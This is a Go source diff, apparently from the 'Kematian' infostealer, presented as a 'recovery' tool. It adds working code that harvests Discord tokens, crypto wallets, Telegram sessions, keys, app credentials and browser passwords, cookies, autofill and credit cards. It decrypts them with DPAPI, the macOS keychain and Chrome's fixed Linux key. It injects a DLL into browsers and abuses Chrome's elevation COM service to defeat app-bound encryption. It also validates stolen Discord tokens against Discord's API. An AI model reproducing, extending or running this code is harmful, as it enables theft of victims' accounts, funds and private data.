case jobCh <- job{cfg, keys, p, pids}:
case <-ctx.Done():
logf("collection deadline reached; stopping job producer for %s", cfg.Name)
return
}
}
}(cfg, profiles)
}
go func() {
keyWg.Wait()
close(jobCh)
}()
} else {
close(jobCh)
}
wg.Wait()
if err := ctx.Err(); err != nil {
note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
result.Errors = append(result.Errors, note)
logf("%s", note)
}
return result, nil
}
func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
if opts.Discord {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("discord token extraction", &result.Errors, mu)
tokens := discord.ExtractTokens()
if len(tokens) > 0 {
mu.Lock()
result.DiscordTokens = append(result.DiscordTokens, tokens...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{DiscordTokens: tokens})
}
}
}()
}
if opts.Files {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("file scan", &result.Errors, mu)
files := scanner.ScanFiles()
if len(files) > 0 {
mu.Lock()
result.Files = append(result.Files, files...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Files: files})
}
}
}()
}
if opts.Wallets {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("wallet scan", &result.Errors, mu)
wallets := scanner.ScanWallets()
if len(wallets) > 0 {
mu.Lock()
result.Wallets = append(result.Wallets, wallets...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Wallets: wallets})
}
}
}()
}
if opts.Telegram {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("telegram scan", &result.Errors, mu)
sessions := scanner.ScanTelegram()
if len(sessions) > 0 {
mu.Lock()
result.Telegram = append(result.Telegram, sessions...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Telegram: sessions})
}
}
}()
}
if opts.Keys {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("key scan", &result.Errors, mu)
keys := scanner.ScanKeys()
if len(keys) > 0 {
mu.Lock()
result.Keys = append(result.Keys, keys...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Keys: keys})
}
}
}()
}
if opts.Apps {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("app credentials scan", &result.Errors, mu)
apps := scanner.ScanApps()
if len(apps) > 0 {
mu.Lock()
result.AppCredentials = append(result.AppCredentials, apps...)
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{AppCredentials: apps})
}
}
}()
}
if opts.Gaming {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("gaming scan", &result.Errors, mu)
gaming := ScanGaming()
if gaming != nil {
mu.Lock()
result.Gaming = gaming
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{Gaming: gaming})
}
}
}()
}
if opts.VPNs {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors("vpn scan", &result.Errors, mu)
vpns := ScanVPNs()
if vpns != nil {
mu.Lock()
result.VPNs = vpns
mu.Unlock()
if partialFn != nil {
partialFn(&types.CollectionResult{VPNs: vpns})
}
}
}()
}
}
func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
partial := &types.CollectionResult{}
var (
wg sync.WaitGroup
eMu sync.Mutex
errs []string
)
label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
if cfg.IsFirefox {
if opts.Passwords {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" password extraction", &errs, &eMu)
partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
}()
}
if opts.Cookies {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
partial.Cookies = firefox.ExtractCookies(profile, cfg)
}()
}
if opts.Autofill {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
}()
}
if opts.History {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" history extraction", &errs, &eMu)
partial.History = firefox.ExtractHistory(profile, cfg)
}()
}
if opts.Bookmarks {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
}()
}
wg.Wait()
partial.Errors = errs
return partial
}
if opts.Passwords {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" password extraction", &errs, &eMu)
partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
}()
}
if opts.Cookies {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
}()
}
if opts.Autofill {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
}()
}
if opts.History {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" history extraction", &errs, &eMu)
partial.History = chromium.ExtractHistory(profile, cfg, pids)
}()
}
if opts.Bookmarks {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
}()
}
if opts.CreditCards {
wg.Add(1)
go func() {
defer wg.Done()
defer recoverErrors(label+" credit card extraction", &errs, &eMu)
partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
}()
}
wg.Wait()
partial.Errors = errs
return partial
}
@@ -0,0 +1,7 @@
//go:build !windows
package recovery
func platformSetupCollect() {}
func platformTeardownCollect() {}
@@ -0,0 +1,41 @@
//go:build windows
package recovery
import (
"os"
"recovery/recovery/browser"
"recovery/recovery/platform"
)
func platformSetupCollect() {
if os.Getenv("KEMATIAN_NO_INJECT") != "" {
logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only")
return
}
dllBytes := platform.GetEmbeddedDLL()
if dllBytes != nil {
for _, cfg := range browser.Browsers {
logf("attempting DLL injection into %s", cfg.Name)
session, err := platform.CreatePipeSession(dllBytes, cfg.Name)
if err != nil {
logf("inject %s failed: %v", cfg.Name, err)
continue
}
_ = session
logf("pipe session established with %s", cfg.Name)
break
}
} else {
logf("no embedded DLL — direct file access only")
}
}
func platformTeardownCollect() {
if platform.ActivePipeSession != nil {
platform.ActivePipeSession.Close()
platform.ActivePipeSession = nil
}
}
@@ -0,0 +1,31 @@
package crypto
import "strings"
func CleanPassword(data []byte) string {
s := string(data)
allPrint := true
for _, c := range s {
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
allPrint = false
break
}
}
if allPrint {
return strings.TrimSpace(s)
}
if len(data) > 32 {
s2 := string(data[32:])
allPrint2 := true
for _, c := range s2 {
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
allPrint2 = false
break
}
}
if allPrint2 {
return strings.TrimSpace(s2)
}
}
return ""
}
@@ -0,0 +1,163 @@
//go:build darwin
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/json"
"fmt"
"os"
"os/exec"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
"golang.org/x/crypto/pbkdf2"
)
const (
darwinChromeSalt = "saltysalt"
darwinChromeIterations = 1003
darwinChromeKeyLen = 16
)
var chromeKeychainServices = map[string]string{
"Chrome": "Chrome Safe Storage",
"Chrome Beta": "Chrome Safe Storage",
"Chrome Canary": "Chrome Safe Storage",
"Chromium": "Chromium Safe Storage",
"Edge": "Microsoft Edge Safe Storage",
"Brave": "Brave Safe Storage",
"Vivaldi": "Vivaldi Safe Storage",
"Opera": "Opera Safe Storage",
"Opera GX": "Opera Safe Storage",
"Arc": "Arc Safe Storage",
"Yandex": "Yandex Safe Storage",
}
func getKeychainPassword(browserName string) (string, error) {
service, ok := chromeKeychainServices[browserName]
if !ok {
service = browserName + " Safe Storage"
}
cmd := exec.Command("security", "find-generic-password", "-wa", service)
out, err := cmd.Output()
if err != nil {
return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
}
return strings.TrimSpace(string(out)), nil
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
localStatePath := browser.LocalStatePath(cfg)
if _, err := os.Stat(localStatePath); err != nil {
// fuck it we still trying
return resolveKeyFromKeychain(cfg)
}
data, err := os.ReadFile(localStatePath)
if err != nil {
return resolveKeyFromKeychain(cfg)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return resolveKeyFromKeychain(cfg)
}
return resolveKeyFromKeychain(cfg)
}
func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
password, err := getKeychainPassword(cfg.Name)
if err != nil {
return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
}
key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
if len(encrypted) < 3 {
return ""
}
prefix := string(encrypted[:3])
if prefix != "v10" && prefix != "v11" {
return ""
}
key := v10Key
if key == nil || len(key) == 0 {
return ""
}
ciphertext := encrypted[3:]
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
return ""
}
plaintext, err := aesCBCDecrypt(key, ciphertext)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := make([]byte, aes.BlockSize)
for i := range iv {
iv[i] = 0x20
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext)
plaintext = pkcs5Unpad(plaintext)
if plaintext == nil {
return nil, fmt.Errorf("invalid padding")
}
return plaintext, nil
}
func pkcs5Unpad(data []byte) []byte {
if len(data) == 0 {
return nil
}
padLen := int(data[len(data)-1])
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
return nil
}
for i := len(data) - padLen; i < len(data); i++ {
if data[i] != byte(padLen) {
return nil
}
}
return data[:len(data)-padLen]
}
func CryptUnprotectData(in []byte) ([]byte, error) {
return nil, fmt.Errorf("DPAPI not available on macOS")
}
@@ -0,0 +1,128 @@
//go:build linux
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/json"
"fmt"
"os"
"recovery/recovery/browser"
"recovery/recovery/types"
"golang.org/x/crypto/pbkdf2"
)
const (
linuxChromePassword = "peanuts"
linuxChromeSalt = "saltysalt"
linuxChromeIterations = 1
linuxChromeKeyLen = 16
)
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
localStatePath := browser.LocalStatePath(cfg)
if _, err := os.Stat(localStatePath); err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
data, err := os.ReadFile(localStatePath)
if err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
return &types.ResolvedKeys{V10: key}, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
if len(encrypted) < 3 {
return ""
}
prefix := string(encrypted[:3])
if prefix != "v10" && prefix != "v11" {
return ""
}
key := v10Key
if key == nil || len(key) == 0 {
return ""
}
ciphertext := encrypted[3:]
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
return ""
}
plaintext, err := aesCBCDecrypt(key, ciphertext)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := make([]byte, aes.BlockSize)
for i := range iv {
iv[i] = 0x20
}
if len(ciphertext) < aes.BlockSize {
return nil, fmt.Errorf("ciphertext too short")
}
mode := cipher.NewCBCDecrypter(block, iv)
plaintext := make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext)
// PKCS5/PKCS7 unpad
plaintext = pkcs5Unpad(plaintext)
if plaintext == nil {
return nil, fmt.Errorf("invalid padding")
}
return plaintext, nil
}
func pkcs5Unpad(data []byte) []byte {
if len(data) == 0 {
return nil
}
padLen := int(data[len(data)-1])
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
return nil
}
for i := len(data) - padLen; i < len(data); i++ {
if data[i] != byte(padLen) {
return nil
}
}
return data[:len(data)-padLen]
}
func CryptUnprotectData(in []byte) ([]byte, error) {
return nil, fmt.Errorf("DPAPI not available on Linux")
}
@@ -0,0 +1,372 @@
//go:build windows
package crypto
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/json"
"fmt"
"os"
"syscall"
"unsafe"
"recovery/recovery/browser"
"recovery/recovery/platform"
"recovery/recovery/types"
"golang.org/x/sys/windows"
)
var (
modCrypt32 = windows.NewLazySystemDLL("crypt32.dll")
procCryptUnprotectData = modCrypt32.NewProc("CryptUnprotectData")
)
type dataBlob struct {
cbData uint32
pbData *byte
}
func CryptUnprotectData(in []byte) ([]byte, error) {
var inBlob, outBlob dataBlob
inBlob.cbData = uint32(len(in))
if len(in) > 0 {
inBlob.pbData = &in[0]
}
r, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(&inBlob)),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
}
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
out := make([]byte, outBlob.cbData)
for i := range out {
out[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(outBlob.pbData)) + uintptr(i)))
}
return out, nil
}
var (
clsidChromeElevator = windows.GUID{
Data1: 0x708860E0, Data2: 0xF641, Data3: 0x4611,
Data4: [8]byte{0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B},
}
iidChromeElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidChromeElevatorV1 = windows.GUID{
Data1: 0x463ABECF, Data2: 0x410D, Data3: 0x407F,
Data4: [8]byte{0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8},
}
clsidEdgeElevator = windows.GUID{
Data1: 0x1FCBE96C, Data2: 0x1697, Data3: 0x43AF,
Data4: [8]byte{0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67},
}
iidEdgeElevator = windows.GUID{
Data1: 0xC9C2B807, Data2: 0x7731, Data3: 0x4F34,
Data4: [8]byte{0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B},
}
clsidBraveElevator = windows.GUID{
Data1: 0x576B31AF, Data2: 0x6369, Data3: 0x4B6B,
Data4: [8]byte{0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B},
}
iidBraveElevatorV2 = windows.GUID{
Data1: 0x1BF5208B, Data2: 0x295F, Data3: 0x4992,
Data4: [8]byte{0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38},
}
iidBraveElevatorV1 = windows.GUID{
Data1: 0xF396861E, Data2: 0x0C8E, Data3: 0x4C71,
Data4: [8]byte{0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9},
}
)
func safeV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) (key []byte, err error) {
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("COM panic: %v", r)
}
}()
return tryV20KeyViaCOM(cfg, encBlob)
}
func tryV20KeyViaCOM(cfg types.BrowserConfig, encBlob []byte) ([]byte, error) {
hr := coInitializeEx()
if hr != 0 {
return nil, fmt.Errorf("CoInitializeEx: 0x%08x", hr)
}
defer coUninitialize()
clsid := clsidChromeElevator
iid := iidChromeElevatorV2
if cfg.Name == "Edge" {
clsid = clsidEdgeElevator
iid = iidEdgeElevator
} else if cfg.Name == "Brave" {
clsid = clsidBraveElevator
iid = iidBraveElevatorV2
}
var unknown *IUnknown
hr = coCreateInstance(&clsid, nil, 4, &iid, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
if hr != 0 && cfg.Name == "Chrome" {
hr = coCreateInstance(&clsid, nil, 4, &iidChromeElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 && cfg.Name == "Brave" {
hr = coCreateInstance(&clsid, nil, 4, &iidBraveElevatorV1, (*unsafe.Pointer)(unsafe.Pointer(&unknown)))
}
if hr != 0 {
return nil, fmt.Errorf("CoCreateInstance: 0x%08x", hr)
}
defer unknown.Release()
hr = coSetProxyBlanket(unknown)
if hr != 0 {
logf("CoSetProxyBlanket warning: 0x%08x", hr)
}
bstrCipher := sysAllocStringByteLen(encBlob)
if bstrCipher == nil {
return nil, fmt.Errorf("SysAllocStringByteLen failed")
}
defer sysFreeString(bstrCipher)
var bstrPlain *uint16
var lastErr uint32
hr = callDecryptData(unknown, bstrCipher, &bstrPlain, &lastErr)
if hr != 0 || bstrPlain == nil {
return nil, fmt.Errorf("DecryptData: 0x%08x (lastError=%d)", hr, lastErr)
}
defer sysFreeString(bstrPlain)
keyLen := sysStringByteLen(bstrPlain)
if keyLen < 32 {
return nil, fmt.Errorf("decrypted key too short: %d bytes", keyLen)
}
result := make([]byte, 32)
for i := 0; i < 32; i++ {
result[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(bstrPlain)) + uintptr(i)))
}
return result, nil
}
func coInitializeEx() uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoInitializeEx").Call(0, 2)
return uint32(r)
}
func coUninitialize() {
windows.NewLazySystemDLL("ole32.dll").NewProc("CoUninitialize").Call()
}
func coCreateInstance(clsid *windows.GUID, unknown *IUnknown, clsCtx uint32, iid *windows.GUID, ppv *unsafe.Pointer) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoCreateInstance").Call(
uintptr(unsafe.Pointer(clsid)),
uintptr(unsafe.Pointer(unknown)),
uintptr(clsCtx),
uintptr(unsafe.Pointer(iid)),
uintptr(unsafe.Pointer(ppv)),
)
return uint32(r)
}
func coSetProxyBlanket(unknown *IUnknown) uint32 {
r, _, _ := windows.NewLazySystemDLL("ole32.dll").NewProc("CoSetProxyBlanket").Call(
uintptr(unsafe.Pointer(unknown)),
0xFFFFFFFF, 0xFFFFFFFF, 0,
6, 4, 0, 0x400,
)
return uint32(r)
}
func sysAllocStringByteLen(b []byte) *uint16 {
if len(b) == 0 {
return nil
}
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysAllocStringByteLen").Call(
uintptr(unsafe.Pointer(&b[0])),
uintptr(len(b)),
)
return (*uint16)(unsafe.Pointer(r))
}
func sysFreeString(s *uint16) {
if s != nil {
windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysFreeString").Call(uintptr(unsafe.Pointer(s)))
}
}
func sysStringByteLen(s *uint16) int {
r, _, _ := windows.NewLazySystemDLL("oleaut32.dll").NewProc("SysStringByteLen").Call(uintptr(unsafe.Pointer(s)))
return int(r)
}
type IUnknown struct {
vtbl *iUnknownVtbl
}
type iUnknownVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
}
func (u *IUnknown) Release() {
syscall.SyscallN(u.vtbl.Release, uintptr(unsafe.Pointer(u)))
}
func callDecryptData(unknown *IUnknown, bstrCipher *uint16, pbstrPlain **uint16, pLastError *uint32) uint32 {
type elevatorVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
RunRecoveryCRXElevated uintptr
EncryptData uintptr
DecryptData uintptr
}
vtbl := (*elevatorVtbl)(unsafe.Pointer(unknown.vtbl))
r, _, _ := syscall.SyscallN(vtbl.DecryptData,
uintptr(unsafe.Pointer(unknown)),
uintptr(unsafe.Pointer(bstrCipher)),
uintptr(unsafe.Pointer(pbstrPlain)),
uintptr(unsafe.Pointer(pLastError)),
)
return uint32(r)
}
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
if cfg.IsFirefox {
return &types.ResolvedKeys{}, nil
}
keys := &types.ResolvedKeys{}
localStatePath := browser.LocalStatePath(cfg)
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil, fmt.Errorf("read Local State: %w", err)
}
var localState map[string]interface{}
if err := json.Unmarshal(data, &localState); err != nil {
return nil, fmt.Errorf("parse Local State: %w", err)
}
osCrypt, _ := localState["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil, fmt.Errorf("no os_crypt section in Local State")
}
if encKey, ok := osCrypt["encrypted_key"].(string); ok && encKey != "" {
decoded, err := base64.StdEncoding.DecodeString(encKey)
if err == nil && len(decoded) > 5 && string(decoded[:5]) == "DPAPI" {
v10Key, err := CryptUnprotectData(decoded[5:])
if err == nil {
keys.V10 = v10Key
logf("resolved V10 (DPAPI) key, %d bytes", len(v10Key))
} else {
logf("V10 DPAPI failed: %v", err)
}
}
}
if appBoundKey, ok := osCrypt["app_bound_encrypted_key"].(string); ok && appBoundKey != "" {
decoded, err := base64.StdEncoding.DecodeString(appBoundKey)
if err == nil && len(decoded) > 4 {
encBlob := decoded[4:]
var v20Key []byte
if platform.ActivePipeSession == nil {
err = fmt.Errorf("no active pipe session")
} else {
encB64 := base64.StdEncoding.EncodeToString(encBlob)
v20Key, err = platform.ActivePipeSession.GetV20Key(cfg.Name, encB64)
}
if err != nil {
if platform.ActivePipeSession == nil {
if cfg.Name != "Chrome" {
logf("V20 via pipe failed (%s): %v, falling back to direct COM", cfg.Name, err)
v20Key, err = safeV20KeyViaCOM(cfg, encBlob)
} else {
logf("V20 via pipe failed (Chrome): %v — COM unsafe without browser session, skipping", err)
err = fmt.Errorf("Chrome V20 requires browser session")
}
} else {
logf("V20 via pipe failed (%s): %v, trying browser-specific injection", cfg.Name, err)
v20Key, err = platform.TryV20KeyViaBrowserSession(cfg.ProcessName, cfg.Name, encBlob)
if err != nil {
logf("browser-specific injection for V20 also failed (%s): %v", cfg.Name, err)
}
}
}
if err == nil {
keys.V20 = v20Key
logf("resolved V20 (App-Bound) key for %s, %d bytes", cfg.Name, len(v20Key))
} else {
logf("V20 key unavailable for %s: %v", cfg.Name, err)
}
}
}
if keys.V10 == nil && keys.V20 == nil {
return nil, fmt.Errorf("could not resolve any master key")
}
return keys, nil
}
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
if len(encrypted) == 0 {
return ""
}
var key []byte
if len(encrypted) >= 3 {
switch string(encrypted[:3]) {
case "v10", "v11":
key = v10Key
case "v20":
key = v20Key
}
}
if key == nil || len(key) == 0 {
return ""
}
if len(encrypted) < 3+12+16 {
return ""
}
nonce := encrypted[3:15]
tag := encrypted[len(encrypted)-16:]
ciphertext := encrypted[15 : len(encrypted)-16]
plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag)
if err != nil {
return ""
}
return CleanPassword(plaintext)
}
func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
ctWithTag := make([]byte, len(ciphertext)+len(tag))
copy(ctWithTag, ciphertext)
copy(ctWithTag[len(ciphertext):], tag)
return aesGCM.Open(nil, nonce, ctWithTag, nil)
}
@@ -0,0 +1,7 @@
package crypto
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[crypto] "+format, args...)
}
@@ -0,0 +1,44 @@
package db
import (
"database/sql"
"path/filepath"
"testing"
_ "github.com/mattn/go-sqlite3"
)
func TestOpenDatabaseReadsLiveWAL(t *testing.T) {
dir := t.TempDir()
dbPath := filepath.Join(dir, "Cookies")
live, err := sql.Open("sqlite3", dbPath)
if err != nil {
t.Fatal(err)
}
live.SetMaxOpenConns(1)
defer live.Close()
if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil {
t.Fatal(err)
}
if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil {
t.Fatal(err)
}
if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil {
t.Fatal(err)
}
d, err := OpenDatabase(dbPath, nil)
if err != nil {
t.Fatalf("OpenDatabase: %v", err)
}
defer d.Close()
var n int
if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil {
t.Fatalf("query: %v", err)
}
if n != 1 {
t.Fatalf("expected 1 cookie row, got %d", n)
}
}
@@ -0,0 +1,122 @@
package db
import (
"context"
"database/sql"
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/platform"
sqlite3 "github.com/mattn/go-sqlite3"
)
func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) {
cleanPath := dbPath
if i := strings.IndexByte(dbPath, '?'); i >= 0 {
cleanPath = dbPath[:i]
}
hasWAL := false
if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 {
hasWAL = true
}
if !hasWAL {
uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath)
if db, err := sql.Open("sqlite3", uri); err == nil {
if err := db.Ping(); err == nil {
logf("opened %s via immutable snapshot", dbPath)
return db, nil
}
db.Close()
}
}
if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil {
logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot))
return OpenDatabaseFromBytes(snapshot)
} else {
logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr)
}
data, err := platform.ReadLockedFile(cleanPath, pids)
if err != nil {
return nil, fmt.Errorf("open %s: %w", dbPath, err)
}
logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data))
return OpenDatabaseFromBytes(data)
}
func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) {
tmp, err := os.MkdirTemp("", "kematian_db_*")
if err != nil {
return nil, err
}
defer os.RemoveAll(tmp)
clonePath := filepath.Join(tmp, filepath.Base(dbPath))
mainData, err := platform.ReadLockedFile(dbPath, pids)
if err != nil {
return nil, err
}
if err := os.WriteFile(clonePath, mainData, 0600); err != nil {
return nil, err
}
for _, suffix := range []string{"-wal", "-journal"} {
src := dbPath + suffix
if info, err := os.Stat(src); err == nil && info.Size() > 0 {
if data, err := platform.ReadLockedFile(src, pids); err == nil {
if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil {
return nil, err
}
}
}
}
d, err := sql.Open("sqlite3", clonePath)
if err != nil {
return nil, err
}
d.SetMaxOpenConns(1)
if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil {
d.Close()
return nil, err
}
d.Close()
return os.ReadFile(clonePath)
}
func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) {
db, err := sql.Open("sqlite3", ":memory:")
if err != nil {
return nil, err
}
db.SetMaxOpenConns(1)
conn, err := db.Conn(context.Background())
if err != nil {
db.Close()
return nil, err
}
err = conn.Raw(func(driverConn interface{}) error {
sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn)
if !ok {
return fmt.Errorf("not a sqlite3 connection")
}
return sqliteConn.Deserialize(data, "main")
})
conn.Close()
if err != nil {
db.Close()
return nil, fmt.Errorf("deserialize: %w", err)
}
return db, nil
}
@@ -0,0 +1,7 @@
package db
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[db] "+format, args...)
}
@@ -0,0 +1,35 @@
package discord
import (
"net/http"
"regexp"
"time"
"recovery/recovery/types"
)
var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`)
var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`)
var HTTPClient = &http.Client{Timeout: 8 * time.Second}
type DiscordApp struct {
Name string
Dir string
}
func CheckToken(token string) bool {
req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
if err != nil {
return false
}
req.Header.Set("Authorization", token)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36")
resp, err := HTTPClient.Do(req)
if err != nil {
return false
}
resp.Body.Close()
return resp.StatusCode == 200
}
type TokenResult = types.DiscordTokenResult
@@ -0,0 +1,184 @@
//go:build !windows
package discord
import (
"crypto/sha1"
"encoding/base64"
"encoding/json"
"os"
"os/exec"
